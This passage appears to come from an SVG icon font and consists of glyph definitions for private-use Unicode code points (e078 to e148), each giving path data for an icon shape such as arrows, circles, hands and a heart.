<glyph unicode="&#xe078;" d="M100 250v100q0 21 14.5 35.5t35.5 14.5h1000q21 0 35.5 -14.5t14.5 -35.5v-100q0 -21 -14.5 -35.5t-35.5 -14.5h-1000q-21 0 -35.5 14.5t-14.5 35.5zM100 500h1100l-550 564z" />
<glyph unicode="&#xe079;" d="M185 599l592 -592l240 240l-353 353l353 353l-240 240z" />
<glyph unicode="&#xe080;" d="M272 194l353 353l-353 353l241 240l572 -571l21 -22l-1 -1v-1l-592 -591z" />
<glyph unicode="&#xe081;" d="M3 600q0 162 80 299.5t217.5 217.5t299.5 80t299.5 -80t217.5 -217.5t80 -299.5t-80 -300t-217.5 -218t-299.5 -80t-299.5 80t-217.5 218t-80 300zM300 500h200v-200h200v200h200v200h-200v200h-200v-200h-200v-200z" />
<glyph unicode="&#xe082;" d="M3 600q0 162 80 299.5t217.5 217.5t299.5 80t299.5 -80t217.5 -217.5t80 -299.5t-80 -300t-217.5 -218t-299.5 -80t-299.5 80t-217.5 218t-80 300zM300 500h600v200h-600v-200z" />
<glyph unicode="&#xe083;" d="M3 600q0 162 80 299.5t217.5 217.5t299.5 80t299.5 -80t217.5 -217.5t80 -299.5t-80 -300t-217.5 -218t-299.5 -80t-299.5 80t-217.5 218t-80 300zM246 459l213 -213l141 142l141 -142l213 213l-142 141l142 141l-213 212l-141 -141l-141 142l-212 -213l141 -141z" />
<glyph unicode="&#xe084;" d="M3 600q0 162 80 299.5t217.5 217.5t299.5 80t299.5 -80t217.5 -217.5t80 -299.5t-80 -299.5t-217.5 -217.5t-299.5 -80t-299.5 80t-217.5 217.5t-80 299.5zM270 551l276 -277l411 411l-175 174l-236 -236l-102 102z" />
<glyph unicode="&#xe085;" d="M3 600q0 162 80 299.5t217.5 217.5t299.5 80t299.5 -80t217.5 -217.5t80 -299.5t-80 -300t-217.5 -218t-299.5 -80t-299.5 80t-217.5 218t-80 300zM363 700h144q4 0 11.5 -1t11 -1t6.5 3t3 9t1 11t3.5 8.5t3.5 6t5.5 4t6.5 2.5t9 1.5t9 0.5h11.5h12.5q19 0 30 -10t11 -26 q0 -22 -4 -28t-27 -22q-5 -1 -12.5 -3t-27 -13.5t-34 -27t-26.5 -46t-11 -68.5h200q5 3 14 8t31.5 25.5t39.5 45.5t31 69t14 94q0 51 -17.5 89t-42 58t-58.5 32t-58.5 15t-51.5 3q-105 0 -172 -56t-67 -183zM500 300h200v100h-200v-100z" />
<glyph unicode="&#xe086;" d="M3 600q0 162 80 299.5t217.5 217.5t299.5 80t299.5 -80t217.5 -217.5t80 -299.5t-80 -300t-217.5 -218t-299.5 -80t-299.5 80t-217.5 218t-80 300zM400 300h400v100h-100v300h-300v-100h100v-200h-100v-100zM500 800h200v100h-200v-100z" />
<glyph unicode="&#xe087;" d="M0 500v200h194q15 60 36 104.5t55.5 86t88 69t126.5 40.5v200h200v-200q54 -20 113 -60t112.5 -105.5t71.5 -134.5h203v-200h-203q-25 -102 -116.5 -186t-180.5 -117v-197h-200v197q-140 27 -208 102.5t-98 200.5h-194zM290 500q24 -73 79.5 -127.5t130.5 -78.5v206h200 v-206q149 48 201 206h-201v200h200q-25 74 -76 127.5t-124 76.5v-204h-200v203q-75 -24 -130 -77.5t-79 -125.5h209v-200h-210z" />
<glyph unicode="&#xe088;" d="M4 600q0 162 80 299t217 217t299 80t299 -80t217 -217t80 -299t-80 -299t-217 -217t-299 -80t-299 80t-217 217t-80 299zM186 600q0 -171 121.5 -292.5t292.5 -121.5t292.5 121.5t121.5 292.5t-121.5 292.5t-292.5 121.5t-292.5 -121.5t-121.5 -292.5zM356 465l135 135 l-135 135l109 109l135 -135l135 135l109 -109l-135 -135l135 -135l-109 -109l-135 135l-135 -135z" />
<glyph unicode="&#xe089;" d="M4 600q0 162 80 299t217 217t299 80t299 -80t217 -217t80 -299t-80 -299t-217 -217t-299 -80t-299 80t-217 217t-80 299zM186 600q0 -171 121.5 -292.5t292.5 -121.5t292.5 121.5t121.5 292.5t-121.5 292.5t-292.5 121.5t-292.5 -121.5t-121.5 -292.5zM322 537l141 141 l87 -87l204 205l142 -142l-346 -345z" />
<glyph unicode="&#xe090;" d="M4 600q0 162 80 299t217 217t299 80t299 -80t217 -217t80 -299t-80 -299t-217 -217t-299 -80t-299 80t-217 217t-80 299zM186 600q0 -115 62 -215l568 567q-100 62 -216 62q-171 0 -292.5 -121.5t-121.5 -292.5zM391 245q97 -59 209 -59q171 0 292.5 121.5t121.5 292.5 q0 112 -59 209z" />
<glyph unicode="&#xe091;" d="M0 547l600 453v-300h600v-300h-600v-301z" />
<glyph unicode="&#xe092;" d="M0 400v300h600v300l600 -453l-600 -448v301h-600z" />
<glyph unicode="&#xe093;" d="M204 600l450 600l444 -600h-298v-600h-300v600h-296z" />
<glyph unicode="&#xe094;" d="M104 600h296v600h300v-600h298l-449 -600z" />
<glyph unicode="&#xe095;" d="M0 200q6 132 41 238.5t103.5 193t184 138t271.5 59.5v271l600 -453l-600 -448v301q-95 -2 -183 -20t-170 -52t-147 -92.5t-100 -135.5z" />
<glyph unicode="&#xe096;" d="M0 0v400l129 -129l294 294l142 -142l-294 -294l129 -129h-400zM635 777l142 -142l294 294l129 -129v400h-400l129 -129z" />
<glyph unicode="&#xe097;" d="M34 176l295 295l-129 129h400v-400l-129 130l-295 -295zM600 600v400l129 -129l295 295l142 -141l-295 -295l129 -130h-400z" />
<glyph unicode="&#xe101;" d="M23 600q0 118 45.5 224.5t123 184t184 123t224.5 45.5t224.5 -45.5t184 -123t123 -184t45.5 -224.5t-45.5 -224.5t-123 -184t-184 -123t-224.5 -45.5t-224.5 45.5t-184 123t-123 184t-45.5 224.5zM456 851l58 -302q4 -20 21.5 -34.5t37.5 -14.5h54q20 0 37.5 14.5 t21.5 34.5l58 302q4 20 -8 34.5t-33 14.5h-207q-20 0 -32 -14.5t-8 -34.5zM500 300h200v100h-200v-100z" />
<glyph unicode="&#xe102;" d="M0 800h100v-200h400v300h200v-300h400v200h100v100h-111v6t-1 15t-3 18l-34 172q-11 39 -41.5 63t-69.5 24q-32 0 -61 -17l-239 -144q-22 -13 -40 -35q-19 24 -40 36l-238 144q-33 18 -62 18q-39 0 -69.5 -23t-40.5 -61l-35 -177q-2 -8 -3 -18t-1 -15v-6h-111v-100z M100 0h400v400h-400v-400zM200 900q-3 0 14 48t35 96l18 47l214 -191h-281zM700 0v400h400v-400h-400zM731 900l202 197q5 -12 12 -32.5t23 -64t25 -72t7 -28.5h-269z" />
<glyph unicode="&#xe103;" d="M0 -22v143l216 193q-9 53 -13 83t-5.5 94t9 113t38.5 114t74 124q47 60 99.5 102.5t103 68t127.5 48t145.5 37.5t184.5 43.5t220 58.5q0 -189 -22 -343t-59 -258t-89 -181.5t-108.5 -120t-122 -68t-125.5 -30t-121.5 -1.5t-107.5 12.5t-87.5 17t-56.5 7.5l-99 -55z M238.5 300.5q19.5 -6.5 86.5 76.5q55 66 367 234q70 38 118.5 69.5t102 79t99 111.5t86.5 148q22 50 24 60t-6 19q-7 5 -17 5t-26.5 -14.5t-33.5 -39.5q-35 -51 -113.5 -108.5t-139.5 -89.5l-61 -32q-369 -197 -458 -401q-48 -111 -28.5 -117.5z" />
<glyph unicode="&#xe104;" d="M111 408q0 -33 5 -63q9 -56 44 -119.5t105 -108.5q31 -21 64 -16t62 23.5t57 49.5t48 61.5t35 60.5q32 66 39 184.5t-13 157.5q79 -80 122 -164t26 -184q-5 -33 -20.5 -69.5t-37.5 -80.5q-10 -19 -14.5 -29t-12 -26t-9 -23.5t-3 -19t2.5 -15.5t11 -9.5t19.5 -5t30.5 2.5 t42 8q57 20 91 34t87.5 44.5t87 64t65.5 88.5t47 122q38 172 -44.5 341.5t-246.5 278.5q22 -44 43 -129q39 -159 -32 -154q-15 2 -33 9q-79 33 -120.5 100t-44 175.5t48.5 257.5q-13 -8 -34 -23.5t-72.5 -66.5t-88.5 -105.5t-60 -138t-8 -166.5q2 -12 8 -41.5t8 -43t6 -39.5 t3.5 -39.5t-1 -33.5t-6 -31.5t-13.5 -24t-21 -20.5t-31 -12q-38 -10 -67 13t-40.5 61.5t-15 81.5t10.5 75q-52 -46 -83.5 -101t-39 -107t-7.5 -85z" />
<glyph unicode="&#xe105;" d="M-61 600l26 40q6 10 20 30t49 63.5t74.5 85.5t97 90t116.5 83.5t132.5 59t145.5 23.5t145.5 -23.5t132.5 -59t116.5 -83.5t97 -90t74.5 -85.5t49 -63.5t20 -30l26 -40l-26 -40q-6 -10 -20 -30t-49 -63.5t-74.5 -85.5t-97 -90t-116.5 -83.5t-132.5 -59t-145.5 -23.5 t-145.5 23.5t-132.5 59t-116.5 83.5t-97 90t-74.5 85.5t-49 63.5t-20 30zM120 600q7 -10 40.5 -58t56 -78.5t68 -77.5t87.5 -75t103 -49.5t125 -21.5t123.5 20t100.5 45.5t85.5 71.5t66.5 75.5t58 81.5t47 66q-1 1 -28.5 37.5t-42 55t-43.5 53t-57.5 63.5t-58.5 54 q49 -74 49 -163q0 -124 -88 -212t-212 -88t-212 88t-88 212q0 85 46 158q-102 -87 -226 -258zM377 656q49 -124 154 -191l105 105q-37 24 -75 72t-57 84l-20 36z" />
<glyph unicode="&#xe106;" d="M-61 600l26 40q6 10 20 30t49 63.5t74.5 85.5t97 90t116.5 83.5t132.5 59t145.5 23.5q61 0 121 -17l37 142h148l-314 -1200h-148l37 143q-82 21 -165 71.5t-140 102t-109.5 112t-72 88.5t-29.5 43zM120 600q210 -282 393 -336l37 141q-107 18 -178.5 101.5t-71.5 193.5 q0 85 46 158q-102 -87 -226 -258zM377 656q49 -124 154 -191l47 47l23 87q-30 28 -59 69t-44 68l-14 26zM780 161l38 145q22 15 44.5 34t46 44t40.5 44t41 50.5t33.5 43.5t33 44t24.5 34q-97 127 -140 175l39 146q67 -54 131.5 -125.5t87.5 -103.5t36 -52l26 -40l-26 -40 q-7 -12 -25.5 -38t-63.5 -79.5t-95.5 -102.5t-124 -100t-146.5 -79z" />
<glyph unicode="&#xe107;" d="M-97.5 34q13.5 -34 50.5 -34h1294q37 0 50.5 35.5t-7.5 67.5l-642 1056q-20 33 -48 36t-48 -29l-642 -1066q-21 -32 -7.5 -66zM155 200l445 723l445 -723h-345v100h-200v-100h-345zM500 600l100 -300l100 300v100h-200v-100z" />
<glyph unicode="&#xe108;" d="M100 262v41q0 20 11 44.5t26 38.5l363 325v339q0 62 44 106t106 44t106 -44t44 -106v-339l363 -325q15 -14 26 -38.5t11 -44.5v-41q0 -20 -12 -26.5t-29 5.5l-359 249v-263q100 -91 100 -113v-64q0 -21 -13 -29t-32 1l-94 78h-222l-94 -78q-19 -9 -32 -1t-13 29v64 q0 22 100 113v263l-359 -249q-17 -12 -29 -5.5t-12 26.5z" />
<glyph unicode="&#xe109;" d="M0 50q0 -20 14.5 -35t35.5 -15h1000q21 0 35.5 15t14.5 35v750h-1100v-750zM0 900h1100v150q0 21 -14.5 35.5t-35.5 14.5h-150v100h-100v-100h-500v100h-100v-100h-150q-21 0 -35.5 -14.5t-14.5 -35.5v-150zM100 100v100h100v-100h-100zM100 300v100h100v-100h-100z M100 500v100h100v-100h-100zM300 100v100h100v-100h-100zM300 300v100h100v-100h-100zM300 500v100h100v-100h-100zM500 100v100h100v-100h-100zM500 300v100h100v-100h-100zM500 500v100h100v-100h-100zM700 100v100h100v-100h-100zM700 300v100h100v-100h-100zM700 500 v100h100v-100h-100zM900 100v100h100v-100h-100zM900 300v100h100v-100h-100zM900 500v100h100v-100h-100z" />
<glyph unicode="&#xe110;" d="M0 200v200h259l600 600h241v198l300 -295l-300 -300v197h-159l-600 -600h-341zM0 800h259l122 -122l141 142l-181 180h-341v-200zM678 381l141 142l122 -123h159v198l300 -295l-300 -300v197h-241z" />
<glyph unicode="&#xe111;" d="M0 400v600q0 41 29.5 70.5t70.5 29.5h1000q41 0 70.5 -29.5t29.5 -70.5v-600q0 -41 -29.5 -70.5t-70.5 -29.5h-596l-304 -300v300h-100q-41 0 -70.5 29.5t-29.5 70.5z" />
<glyph unicode="&#xe112;" d="M100 600v200h300v-250q0 -113 6 -145q17 -92 102 -117q39 -11 92 -11q37 0 66.5 5.5t50 15.5t36 24t24 31.5t14 37.5t7 42t2.5 45t0 47v25v250h300v-200q0 -42 -3 -83t-15 -104t-31.5 -116t-58 -109.5t-89 -96.5t-129 -65.5t-174.5 -25.5t-174.5 25.5t-129 65.5t-89 96.5 t-58 109.5t-31.5 116t-15 104t-3 83zM100 900v300h300v-300h-300zM800 900v300h300v-300h-300z" />
<glyph unicode="&#xe113;" d="M-30 411l227 -227l352 353l353 -353l226 227l-578 579z" />
<glyph unicode="&#xe114;" d="M70 797l580 -579l578 579l-226 227l-353 -353l-352 353z" />
<glyph unicode="&#xe115;" d="M-198 700l299 283l300 -283h-203v-400h385l215 -200h-800v600h-196zM402 1000l215 -200h381v-400h-198l299 -283l299 283h-200v600h-796z" />
<glyph unicode="&#xe116;" d="M18 939q-5 24 10 42q14 19 39 19h896l38 162q5 17 18.5 27.5t30.5 10.5h94q20 0 35 -14.5t15 -35.5t-15 -35.5t-35 -14.5h-54l-201 -961q-2 -4 -6 -10.5t-19 -17.5t-33 -11h-31v-50q0 -20 -14.5 -35t-35.5 -15t-35.5 15t-14.5 35v50h-300v-50q0 -20 -14.5 -35t-35.5 -15 t-35.5 15t-14.5 35v50h-50q-21 0 -35.5 15t-14.5 35q0 21 14.5 35.5t35.5 14.5h535l48 200h-633q-32 0 -54.5 21t-27.5 43z" />
<glyph unicode="&#xe117;" d="M0 0v800h1200v-800h-1200zM0 900v100h200q0 41 29.5 70.5t70.5 29.5h300q41 0 70.5 -29.5t29.5 -70.5h500v-100h-1200z" />
<glyph unicode="&#xe118;" d="M1 0l300 700h1200l-300 -700h-1200zM1 400v600h200q0 41 29.5 70.5t70.5 29.5h300q41 0 70.5 -29.5t29.5 -70.5h500v-200h-1000z" />
<glyph unicode="&#xe119;" d="M302 300h198v600h-198l298 300l298 -300h-198v-600h198l-298 -300z" />
<glyph unicode="&#xe120;" d="M0 600l300 298v-198h600v198l300 -298l-300 -297v197h-600v-197z" />
<glyph unicode="&#xe121;" d="M0 100v100q0 41 29.5 70.5t70.5 29.5h1000q41 0 70.5 -29.5t29.5 -70.5v-100q0 -41 -29.5 -70.5t-70.5 -29.5h-1000q-41 0 -70.5 29.5t-29.5 70.5zM31 400l172 739q5 22 23 41.5t38 19.5h672q19 0 37.5 -22.5t23.5 -45.5l172 -732h-1138zM800 100h100v100h-100v-100z M1000 100h100v100h-100v-100z" />
<glyph unicode="&#xe122;" d="M-101 600v50q0 24 25 49t50 38l25 13v-250l-11 5.5t-24 14t-30 21.5t-24 27.5t-11 31.5zM99 500v250v5q0 13 0.5 18.5t2.5 13t8 10.5t15 3h200l675 250v-850l-675 200h-38l47 -276q2 -12 -3 -17.5t-11 -6t-21 -0.5h-8h-83q-20 0 -34.5 14t-18.5 35q-56 337 -56 351z M1100 200v850q0 21 14.5 35.5t35.5 14.5q20 0 35 -14.5t15 -35.5v-850q0 -20 -15 -35t-35 -15q-21 0 -35.5 15t-14.5 35z" />
<glyph unicode="&#xe123;" d="M74 350q0 21 13.5 35.5t33.5 14.5h17l118 173l63 327q15 77 76 140t144 83l-18 32q-6 19 3 32t29 13h94q20 0 29 -10.5t3 -29.5l-18 -37q83 -19 144 -82.5t76 -140.5l63 -327l118 -173h17q20 0 33.5 -14.5t13.5 -35.5q0 -20 -13 -40t-31 -27q-22 -9 -63 -23t-167.5 -37 t-251.5 -23t-245.5 20.5t-178.5 41.5l-58 20q-18 7 -31 27.5t-13 40.5zM497 110q12 -49 40 -79.5t63 -30.5t63 30.5t39 79.5q-48 -6 -102 -6t-103 6z" />
<glyph unicode="&#xe124;" d="M21 445l233 -45l-78 -224l224 78l45 -233l155 179l155 -179l45 233l224 -78l-78 224l234 45l-180 155l180 156l-234 44l78 225l-224 -78l-45 233l-155 -180l-155 180l-45 -233l-224 78l78 -225l-233 -44l179 -156z" />
<glyph unicode="&#xe125;" d="M0 200h200v600h-200v-600zM300 275q0 -75 100 -75h61q123 -100 139 -100h250q46 0 83 57l238 344q29 31 29 74v100q0 44 -30.5 84.5t-69.5 40.5h-328q28 118 28 125v150q0 44 -30.5 84.5t-69.5 40.5h-50q-27 0 -51 -20t-38 -48l-96 -198l-145 -196q-20 -26 -20 -63v-400z M400 300v375l150 212l100 213h50v-175l-50 -225h450v-125l-250 -375h-214l-136 100h-100z" />
<glyph unicode="&#xe126;" d="M0 400v600h200v-600h-200zM300 525v400q0 75 100 75h61q123 100 139 100h250q46 0 83 -57l238 -344q29 -31 29 -74v-100q0 -44 -30.5 -84.5t-69.5 -40.5h-328q28 -118 28 -125v-150q0 -44 -30.5 -84.5t-69.5 -40.5h-50q-27 0 -51 20t-38 48l-96 198l-145 196 q-20 26 -20 63zM400 525l150 -212l100 -213h50v175l-50 225h450v125l-250 375h-214l-136 -100h-100v-375z" />
<glyph unicode="&#xe127;" d="M8 200v600h200v-600h-200zM308 275v525q0 17 14 35.5t28 28.5l14 9l362 230q14 6 25 6q17 0 29 -12l109 -112q14 -14 14 -34q0 -18 -11 -32l-85 -121h302q85 0 138.5 -38t53.5 -110t-54.5 -111t-138.5 -39h-107l-130 -339q-7 -22 -20.5 -41.5t-28.5 -19.5h-341 q-7 0 -90 81t-83 94zM408 289l100 -89h293l131 339q6 21 19.5 41t28.5 20h203q16 0 25 15t9 36q0 20 -9 34.5t-25 14.5h-457h-6.5h-7.5t-6.5 0.5t-6 1t-5 1.5t-5.5 2.5t-4 4t-4 5.5q-5 12 -5 20q0 14 10 27l147 183l-86 83l-339 -236v-503z" />
<glyph unicode="&#xe128;" d="M-101 651q0 72 54 110t139 37h302l-85 121q-11 16 -11 32q0 21 14 34l109 113q13 12 29 12q11 0 25 -6l365 -230q7 -4 16.5 -10.5t26 -26t16.5 -36.5v-526q0 -13 -85.5 -93.5t-93.5 -80.5h-342q-15 0 -28.5 20t-19.5 41l-131 339h-106q-84 0 -139 39t-55 111zM-1 601h222 q15 0 28.5 -20.5t19.5 -40.5l131 -339h293l106 89v502l-342 237l-87 -83l145 -184q10 -11 10 -26q0 -11 -5 -20q-1 -3 -3.5 -5.5l-4 -4t-5 -2.5t-5.5 -1.5t-6.5 -1t-6.5 -0.5h-7.5h-6.5h-476v-100zM999 201v600h200v-600h-200z" />
<glyph unicode="&#xe129;" d="M97 719l230 -363q4 -6 10.5 -15.5t26 -25t36.5 -15.5h525q13 0 94 83t81 90v342q0 15 -20 28.5t-41 19.5l-339 131v106q0 84 -39 139t-111 55t-110 -53.5t-38 -138.5v-302l-121 84q-15 12 -33.5 11.5t-32.5 -13.5l-112 -110q-22 -22 -6 -53zM172 739l83 86l183 -146 q22 -18 47 -5q3 1 5.5 3.5l4 4t2.5 5t1.5 5.5t1 6.5t0.5 6v7.5v7v456q0 22 25 31t50 -0.5t25 -30.5v-202q0 -16 20 -29.5t41 -19.5l339 -130v-294l-89 -100h-503zM400 0v200h600v-200h-600z" />
<glyph unicode="&#xe130;" d="M1 585q-15 -31 7 -53l112 -110q13 -13 32 -13.5t34 10.5l121 85l-1 -302q0 -84 38.5 -138t110.5 -54t111 55t39 139v106l339 131q20 6 40.5 19.5t20.5 28.5v342q0 7 -81 90t-94 83h-525q-17 0 -35.5 -14t-28.5 -28l-10 -15zM76 565l237 339h503l89 -100v-294l-340 -130 q-20 -6 -40 -20t-20 -29v-202q0 -22 -25 -31t-50 0t-25 31v456v14.5t-1.5 11.5t-5 12t-9.5 7q-24 13 -46 -5l-184 -146zM305 1104v200h600v-200h-600z" />
<glyph unicode="&#xe131;" d="M5 597q0 122 47.5 232.5t127.5 190.5t190.5 127.5t232.5 47.5q162 0 299.5 -80t217.5 -218t80 -300t-80 -299.5t-217.5 -217.5t-299.5 -80t-300 80t-218 217.5t-80 299.5zM300 500h300l-2 -194l402 294l-402 298v-197h-298v-201z" />
<glyph unicode="&#xe132;" d="M0 597q0 122 47.5 232.5t127.5 190.5t190.5 127.5t231.5 47.5q122 0 232.5 -47.5t190.5 -127.5t127.5 -190.5t47.5 -232.5q0 -162 -80 -299.5t-218 -217.5t-300 -80t-299.5 80t-217.5 217.5t-80 299.5zM200 600l400 -294v194h302v201h-300v197z" />
<glyph unicode="&#xe133;" d="M5 597q0 122 47.5 232.5t127.5 190.5t190.5 127.5t232.5 47.5q121 0 231.5 -47.5t190.5 -127.5t127.5 -190.5t47.5 -232.5q0 -162 -80 -299.5t-217.5 -217.5t-299.5 -80t-300 80t-218 217.5t-80 299.5zM300 600h200v-300h200v300h200l-300 400z" />
<glyph unicode="&#xe134;" d="M5 597q0 122 47.5 232.5t127.5 190.5t190.5 127.5t232.5 47.5q121 0 231.5 -47.5t190.5 -127.5t127.5 -190.5t47.5 -232.5q0 -162 -80 -299.5t-217.5 -217.5t-299.5 -80t-300 80t-218 217.5t-80 299.5zM300 600l300 -400l300 400h-200v300h-200v-300h-200z" />
<glyph unicode="&#xe135;" d="M5 597q0 122 47.5 232.5t127.5 190.5t190.5 127.5t232.5 47.5q121 0 231.5 -47.5t190.5 -127.5t127.5 -190.5t47.5 -232.5q0 -162 -80 -299.5t-217.5 -217.5t-299.5 -80t-300 80t-218 217.5t-80 299.5zM254 780q-8 -34 5.5 -93t7.5 -87q0 -9 17 -44t16 -60q12 0 23 -5.5 t23 -15t20 -13.5q20 -10 108 -42q22 -8 53 -31.5t59.5 -38.5t57.5 -11q8 -18 -15 -55.5t-20 -57.5q12 -21 22.5 -34.5t28 -27t36.5 -17.5q0 -6 -3 -15.5t-3.5 -14.5t4.5 -17q101 -2 221 111q31 30 47 48t34 49t21 62q-14 9 -37.5 9.5t-35.5 7.5q-14 7 -49 15t-52 19 q-9 0 -39.5 -0.5t-46.5 -1.5t-39 -6.5t-39 -16.5q-50 -35 -66 -12q-4 2 -3.5 25.5t0.5 25.5q-6 13 -26.5 17t-24.5 7q2 22 -2 41t-16.5 28t-38.5 -20q-23 -25 -42 4q-19 28 -8 58q8 16 22 22q6 -1 26 -1.5t33.5 -4.5t19.5 -13q12 -19 32 -37.5t34 -27.5l14 -8q0 3 9.5 39.5 t5.5 57.5q-4 23 14.5 44.5t22.5 31.5q5 14 10 35t8.5 31t15.5 22.5t34 21.5q-6 18 10 37q8 0 23.5 -1.5t24.5 -1.5t20.5 4.5t20.5 15.5q-10 23 -30.5 42.5t-38 30t-49 26.5t-43.5 23q11 41 1 44q31 -13 58.5 -14.5t39.5 3.5l11 4q6 36 -17 53.5t-64 28.5t-56 23 q-19 -3 -37 0q-15 -12 -36.5 -21t-34.5 -12t-44 -8t-39 -6q-15 -3 -46 0t-45 -3q-20 -6 -51.5 -25.5t-34.5 -34.5q-3 -11 6.5 -22.5t8.5 -18.5q-3 -34 -27.5 -91t-29.5 -79zM518 915q3 12 16 30.5t16 25.5q10 -10 18.5 -10t14 6t14.5 14.5t16 12.5q0 -18 8 -42.5t16.5 -44 t9.5 -23.5q-6 1 -39 5t-53.5 10t-36.5 16z" />
<glyph unicode="&#xe136;" d="M0 164.5q0 21.5 15 37.5l600 599q-33 101 6 201.5t135 154.5q164 92 306 -9l-259 -138l145 -232l251 126q13 -175 -151 -267q-123 -70 -253 -23l-596 -596q-15 -16 -36.5 -16t-36.5 16l-111 110q-15 15 -15 36.5z" />
<glyph unicode="&#xe137;" horiz-adv-x="1220" d="M0 196v100q0 41 29.5 70.5t70.5 29.5h1000q41 0 70.5 -29.5t29.5 -70.5v-100q0 -41 -29.5 -70.5t-70.5 -29.5h-1000q-41 0 -70.5 29.5t-29.5 70.5zM0 596v100q0 41 29.5 70.5t70.5 29.5h1000q41 0 70.5 -29.5t29.5 -70.5v-100q0 -41 -29.5 -70.5t-70.5 -29.5h-1000 q-41 0 -70.5 29.5t-29.5 70.5zM0 996v100q0 41 29.5 70.5t70.5 29.5h1000q41 0 70.5 -29.5t29.5 -70.5v-100q0 -41 -29.5 -70.5t-70.5 -29.5h-1000q-41 0 -70.5 29.5t-29.5 70.5zM600 596h500v100h-500v-100zM800 196h300v100h-300v-100zM900 996h200v100h-200v-100z" />
<glyph unicode="&#xe138;" d="M100 1100v100h1000v-100h-1000zM150 1000h900l-350 -500v-300l-200 -200v500z" />
<glyph unicode="&#xe139;" d="M0 200v200h1200v-200q0 -41 -29.5 -70.5t-70.5 -29.5h-1000q-41 0 -70.5 29.5t-29.5 70.5zM0 500v400q0 41 29.5 70.5t70.5 29.5h300v100q0 41 29.5 70.5t70.5 29.5h200q41 0 70.5 -29.5t29.5 -70.5v-100h300q41 0 70.5 -29.5t29.5 -70.5v-400h-500v100h-200v-100h-500z M500 1000h200v100h-200v-100z" />
<glyph unicode="&#xe140;" d="M0 0v400l129 -129l200 200l142 -142l-200 -200l129 -129h-400zM0 800l129 129l200 -200l142 142l-200 200l129 129h-400v-400zM729 329l142 142l200 -200l129 129v-400h-400l129 129zM729 871l200 200l-129 129h400v-400l-129 129l-200 -200z" />
<glyph unicode="&#xe141;" d="M0 596q0 162 80 299t217 217t299 80t299 -80t217 -217t80 -299t-80 -299t-217 -217t-299 -80t-299 80t-217 217t-80 299zM182 596q0 -172 121.5 -293t292.5 -121t292.5 121t121.5 293q0 171 -121.5 292.5t-292.5 121.5t-292.5 -121.5t-121.5 -292.5zM291 655 q0 23 15.5 38.5t38.5 15.5t39 -16t16 -38q0 -23 -16 -39t-39 -16q-22 0 -38 16t-16 39zM400 850q0 22 16 38.5t39 16.5q22 0 38 -16t16 -39t-16 -39t-38 -16q-23 0 -39 16.5t-16 38.5zM513 609q0 32 21 56.5t52 29.5l122 126l1 1q-9 14 -9 28q0 22 16 38.5t39 16.5 q22 0 38 -16t16 -39t-16 -39t-38 -16q-16 0 -29 10l-55 -145q17 -22 17 -51q0 -36 -25.5 -61.5t-61.5 -25.5q-37 0 -62.5 25.5t-25.5 61.5zM800 655q0 22 16 38t39 16t38.5 -15.5t15.5 -38.5t-16 -39t-38 -16q-23 0 -39 16t-16 39z" />
<glyph unicode="&#xe142;" d="M-40 375q-13 -95 35 -173q35 -57 94 -89t129 -32q63 0 119 28q33 16 65 40.5t52.5 45.5t59.5 64q40 44 57 61l394 394q35 35 47 84t-3 96q-27 87 -117 104q-20 2 -29 2q-46 0 -79.5 -17t-67.5 -51l-388 -396l-7 -7l69 -67l377 373q20 22 39 38q23 23 50 23q38 0 53 -36 q16 -39 -20 -75l-547 -547q-52 -52 -125 -52q-55 0 -100 33t-54 96q-5 35 2.5 66t31.5 63t42 50t56 54q24 21 44 41l348 348q52 52 82.5 79.5t84 54t107.5 26.5q25 0 48 -4q95 -17 154 -94.5t51 -175.5q-7 -101 -98 -192l-252 -249l-253 -256l7 -7l69 -60l517 511 q67 67 95 157t11 183q-16 87 -67 154t-130 103q-69 33 -152 33q-107 0 -197 -55q-40 -24 -111 -95l-512 -512q-68 -68 -81 -163z" />
<glyph unicode="&#xe143;" d="M79 784q0 131 99 229.5t230 98.5q144 0 242 -129q103 129 245 129q130 0 227 -98.5t97 -229.5q0 -46 -17.5 -91t-61 -99t-77 -89.5t-104.5 -105.5q-197 -191 -293 -322l-17 -23l-16 23q-43 58 -100 122.5t-92 99.5t-101 100l-84.5 84.5t-68 74t-60 78t-33.5 70.5t-15 78z M250 784q0 -27 30.5 -70t61.5 -75.5t95 -94.5l22 -22q93 -90 190 -201q82 92 195 203l12 12q64 62 97.5 97t64.5 79t31 72q0 71 -48 119.5t-106 48.5q-73 0 -131 -83l-118 -171l-114 174q-51 80 -124 80q-59 0 -108.5 -49.5t-49.5 -118.5z" />
<glyph unicode="&#xe144;" d="M57 353q0 -94 66 -160l141 -141q66 -66 159 -66q95 0 159 66l283 283q66 66 66 159t-66 159l-141 141q-12 12 -19 17l-105 -105l212 -212l-389 -389l-247 248l95 95l-18 18q-46 45 -75 101l-55 -55q-66 -66 -66 -159zM269 706q0 -93 66 -159l141 -141l19 -17l105 105 l-212 212l389 389l247 -247l-95 -96l18 -18q46 -46 77 -99l29 29q35 35 62.5 88t27.5 96q0 93 -66 159l-141 141q-66 66 -159 66q-95 0 -159 -66l-283 -283q-66 -64 -66 -159z" />
<glyph unicode="&#xe145;" d="M200 100v953q0 21 30 46t81 48t129 38t163 15t162 -15t127 -38t79 -48t29 -46v-953q0 -41 -29.5 -70.5t-70.5 -29.5h-600q-41 0 -70.5 29.5t-29.5 70.5zM300 300h600v700h-600v-700zM496 150q0 -43 30.5 -73.5t73.5 -30.5t73.5 30.5t30.5 73.5t-30.5 73.5t-73.5 30.5 t-73.5 -30.5t-30.5 -73.5z" />
<glyph unicode="&#xe146;" d="M0 0l303 380l207 208l-210 212h300l267 279l-35 36q-15 14 -15 35t15 35q14 15 35 15t35 -15l283 -282q15 -15 15 -36t-15 -35q-14 -15 -35 -15t-35 15l-36 35l-279 -267v-300l-212 210l-208 -207z" />
<glyph unicode="&#xe148;" d="M295 433h139q5 -77 48.5 -126.5t117.5 -64.5v335l-27 7q-46 14 -79 26.5t-72 36t-62.5 52t-40 72.5t-16.5 99q0 92 44 159.5t109 101t144 40.5v78h100v-79q38 -4 72.5 -13.5t75.5 -31.5t71 -53.5t51.5 -84t24.5 -118.5h-159q-8 72 -35 109.5t-101 50.5v-307l64 -14 q34 -7 64 -16.5t70 -31.5t67.5 -52t47.5 -80.5t20 -112.5q0 -139 -89 -224t-244 -96v-77h-100v78q-152 17 -237 104q-40 40 -52.5 93.5t-15.5 139.5zM466 889q0 -29 8 -51t16.5 -34t29.5 -22.5t31 -13.5t38 -10q7 -2 11 -3v274q-61 -8 -97.5 -37.5t-36.5 -102.5zM700 237 q170 18 170 151q0 64 -44 99.5t-126 60.5v-311z" />
